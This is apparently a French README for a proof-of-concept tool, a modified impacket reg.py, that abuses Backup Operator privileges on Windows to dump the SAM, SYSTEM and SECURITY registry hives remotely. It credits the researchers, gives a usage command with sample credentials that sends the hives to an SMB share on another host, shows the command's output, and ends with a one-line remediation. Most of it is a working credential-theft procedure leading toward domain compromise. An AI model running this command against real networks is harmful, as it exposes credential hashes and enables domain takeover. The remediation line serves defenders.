De la sauvegarde du registre par Backup Operator à la compromission du domaine

Un POC simple qui abuse des privilèges Backup Operator pour extraire à distance les ruches SAM, SYSTEM et SECURITY.

Crédits de recherche :

• @filip_dragovic
• Porté depuis le PoC Windows de @mpgn

Utilisation

Cette preuve de concept est une version modifiée de impacket/examples/reg.py et fonctionnera avec la version la plus récente d'impacket installée. Tous les mécanismes d'authentification pris en charge par impacket fonctionneront.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Remédiation :

Traitez le groupe de domaine Backup Operators comme les administrateurs de domaine et autres ressources de niveau Tier 0.